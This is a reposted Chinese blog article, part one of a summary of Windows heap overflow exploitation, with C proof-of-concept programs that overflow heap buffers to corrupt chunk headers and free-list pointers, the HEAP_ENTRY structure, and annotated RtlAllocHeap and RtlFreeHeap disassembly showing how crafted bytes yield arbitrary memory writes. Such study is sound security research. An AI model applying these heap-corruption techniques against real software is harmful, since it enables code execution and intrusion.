总结windows下堆溢出的三种利用方式(1)

转载 2007年10月12日 09:24:00
main (int argc, char *argv[])
{
char *buf1, *buf2;
char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/x03/x00/x05/x00/x00/x01/
x08/x00/x11/x11/x11/x11/x21/x21/x21/x21";

buf1 = (char*)malloc (32); /* 分配两块内存 */
memcpy (buf1, s, 32+16); /* 这里多复制16个字节 */

buf2 = (char*)malloc (16);

free (buf1);
free (buf2);

return 0;
}

在给buf1完成malloc之后,返回的地址(buf1)是个指针,指向的内存分配情况是这样

buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)

在给buf2完成malloc之后,buf1指向的内存分配情况是这样

buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|buf2的管理结构(8bytes)|buf2真正可操作空间(16bytes)|两个双链表指针(8bytes)

现在如果在buf2分配空间之前,buf1的memcpy操作溢出,并且覆盖了
下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)
共16个字节的时候,就会造成buf2的RtlAllocHeap操作异常。原因看RtlAllocHeap的这段代码

001B:77FCC453 8901 MOV [ECX],EAX
001B:77FCC455 894804 MOV [EAX+04],ECX

此时ECX指向两个双链表指针(8bytes)的后一个指针(0x21212121),EAX指向前一个指针(0x11111111)。类似于format string溢出,可以写任意数据到任意地址,这种情况比较简单,前提是在buf2分配空间之前buf1有溢出的机会

2.利用RtlFreeHeap的方式一
这是ilsy提到的,看例子

main (int argc, char *argv[])
{
char *buf1, *buf2;
char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/x03/x00/x05/x00/x00/x09";

buf1 = (char*)malloc (32); /* 分配两块内存 */
buf2 = (char*)malloc (16);

memcpy (buf1, s, 32+6); /* 这里多复制6个字节 */

free (buf1);
free (buf2);

return 0;
}

由于buf1多复制了6个字节,这6个字节会覆盖掉buf2的管理结构,在free(buf2)时会发生异常。只要我们精心构造这个6个字节就可以达到目的

先看看8字节管理结构的定义(从windows源码中找到)
typedef struct _HEAP_ENTRY {

//
// This field gives the size of the current block in allocation
// granularity units. (i.e. Size << HEAP_GRANULARITY_SHIFT
// equals the size in bytes).
//
// Except if this is part of a virtual alloc block then this
// value is the difference between the commit size in the virtual
// alloc entry and the what the user asked for.
//

USHORT Size;

//
// This field gives the size of the previous block in allocation
// granularity units. (i.e. PreviousSize << HEAP_GRANULARITY_SHIFT
// equals the size of the previous block in bytes).
//

USHORT PreviousSize;

//
// This field contains the index into the segment that controls
// the memory for this block.
//

UCHAR SegmentIndex;

//
// This field contains various flag bits associated with this block.
// Currently these are:
//
// 0x01 - HEAP_ENTRY_BUSY
// 0x02 - HEAP_ENTRY_EXTRA_PRESENT
// 0x04 - HEAP_ENTRY_FILL_PATTERN
// 0x08 - HEAP_ENTRY_VIRTUAL_ALLOC
// 0x10 - HEAP_ENTRY_LAST_ENTRY
// 0x20 - HEAP_ENTRY_SETTABLE_FLAG1
// 0x40 - HEAP_ENTRY_SETTABLE_FLAG2
// 0x80 - HEAP_ENTRY_SETTABLE_FLAG3
//

UCHAR Flags;

//
// This field contains the number of unused bytes at the end of this
// block that were not actually allocated. Used to compute exact
// size requested prior to rounding requested size to allocation
// granularity. Also used for tail checking purposes.
//

UCHAR UnusedBytes;

//
// Small (8 bit) tag indexes can go here.
//

UCHAR SmallTagIndex;

#if defined(_WIN64)
ULONGLONG Reserved1;
#endif

} HEAP_ENTRY, *PHEAP_ENTRY;

就是

本堆的size(2bytes)|上一个堆的size(2bytes)|index(1byte)|flag(1byte)|unusedbytes(1byte)|smalltagindex(1byte)

注意这里的size是实际大小进行8字节对齐后除以8的值
可以看看flag的各个定义

再看看RtlFreeHeap里面几个关键的地方

关键点一
001B:77FCC829 8A4605 MOV AL,[ESI+05] //esi指向buf2的8字节管理结构的起始地址,al即flag
001B:77FCC82C A801 TEST AL,01 //flag值是否含有HEAP_ENTRY_BUSY
001B:77FCC82E 0F84A40E0000 JZ 77FCD6D8 //不含则跳转。这里不能跳
001B:77FCC834 F6C207 TEST DL,07
001B:77FCC837 0F859B0E0000 JNZ 77FCD6D8
001B:77FCC83D 807E0440 CMP BYTE PTR [ESI+04],40 //esi+4是否大于0x40
001B:77FCC841 0F83910E0000 JAE 77FCD6D8 //大于等于则跳转,这里不能跳
001B:77FCC847 834DFCFF OR DWORD PTR [EBP-04],-01
001B:77FCC84B A8E0 TEST AL,E0 //flag是否含有HEAP_ENTRY_SETTABLE_FLAG1 2 3
001B:77FCC84D 754A JNZ 77FCC899 //只要含有一个就跳,这里不重要
001B:77FCC84F 8B8F80050000 MOV ECX,[EDI+00000580]
001B:77FCC855 85C9 TEST ECX,ECX
001B:77FCC857 7440 JZ 77FCC899 //这里必然会跳

关键点二
001B:77FCC899 C745FC01000000 MOV DWORD PTR [EBP-04],00000001
001B:77FCC8A0 F6C301 TEST BL,01
001B:77FCC8A3 750F JNZ 77FCC8B4 //这里必然会跳
001B:77FCC8A5 FFB778050000 PUSH DWORD PTR [EDI+00000578]
001B:77FCC8AB E853C8FBFF CALL ntdll!RtlEnterCriticalSection
001B:77FCC8B0 C645D401 MOV BYTE PTR [EBP-2C],01
001B:77FCC8B4 F6460508 TEST BYTE PTR [ESI+05],08 //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC
001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49 //含有则跳,这里要跳

关键点三
001B:77FCBB49 83C6E8 ADD ESI,-18 //ilsy说在不同的windows版本上这个0x18的是不同的
001B:77FCBB4C 89759C MOV [EBP-64],ESI
001B:77FCBB4F 8B06 MOV EAX,[ESI]
001B:77FCBB51 894598 MOV [EBP-68],EAX
001B:77FCBB54 8B7604 MOV ESI,[ESI+04]
001B:77FCBB57 897594 MOV [EBP-6C],ESI
001B:77FCBB5A 8906 MOV [ESI],EAX //这里会操作异常

我们看到最后操作异常的时候EAX=0X61616161,ESI=0X61616161,正好是buf1里的值,就是将buf2的起始地址减去0x18的地址的数据复制到之后  

 

windows溢出保护原理与绕过方法概览

http://bbs.pediy.com/showthread.php?p=879124#post879124 Windows溢出保护原理与绕过方法概览 V2.0 By  : ri...
  • feier7501
  • feier7501
  • 2013年08月19日 20:36
  • 3359

Linux 堆溢出之fastbin实例

Linux下堆溢出 fastbin实例
  • guiguzi5512407
  • guiguzi5512407
  • 2016年11月11日 20:53
  • 1280

栈溢出漏洞攻击原理及防护技术

文/H3C攻防研究团队 现阶段的安全漏洞种类很多,包括大家熟悉的SQL注入漏洞、缓存溢出漏洞、XSS跨站脚本漏洞等。而栈溢出漏洞作为缓冲区溢出漏洞的一种特定的表现形式,在现实网络环境中比较普遍。本文...
  • zhouwei1221q
  • zhouwei1221q
  • 2015年08月12日 17:08
  • 1703

【GBK、UTF-8、ISO8859-1】三种编码方式总结

在Java中,String的getBytes()方法是得到一个操作系统默认的编码格式的字节数组。这个表示在不同情况下,返回的东西不一样!      String.getBytes(String de...
  • YoungStar70
  • YoungStar70
  • 2017年03月20日 08:29
  • 2298

Windows开机自启动三种方式

  • 2017年04月09日 13:48
  • 103KB
  • 下载

批量修改windows下文件夹内文件名称 三种方式

  • 2015年09月10日 16:36
  • 139KB
  • 下载

双线策略路由的三种实现方式总结

  • 2012年09月17日 09:11
  • 22KB
  • 下载

linux内核学习-宿主机为linux、windows分别实现VMware三种方式上网(关注新浪微博:寂寞侵蚀的岁月(4000多篇技术分享))

宿主机为linux、windows分别实现VMware三种方式上网 一、VMware三种方式工作原理 1 Host-only连接方式   让虚机具有与宿主机不同的各自独立IP地址,但与宿主机...
  • xizmi
  • xizmi
  • 2015年04月23日 18:08
  • 393

Windows下,文件(夹)选择/打开对话框的三种创建方式

Windows编程时,常用到打开文件(夹)对话框,选择文件或者多个文件的功能。Windows提供了好几种方式,现在做个总结,也好方便以后的使用。...
  • wutong_xingkong
  • wutong_xingkong
  • 2017年01月03日 20:49
  • 768

windows phone 三种数据共享的方式(8)

本节实现的内容是数据共享,实现的效果描述:首先是建立两个页面,当页面MainPage通过事件导航到页面SecondPage是,我们需要将MainPage中的一些内容(比如一个字符串)传递到Second...
  • shenzhoulong001
  • shenzhoulong001
  • 2012年04月13日 07:59
  • 524
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:总结windows下堆溢出的三种利用方式(1)
举报原因:
原因补充:

(最多只允许输入30个字)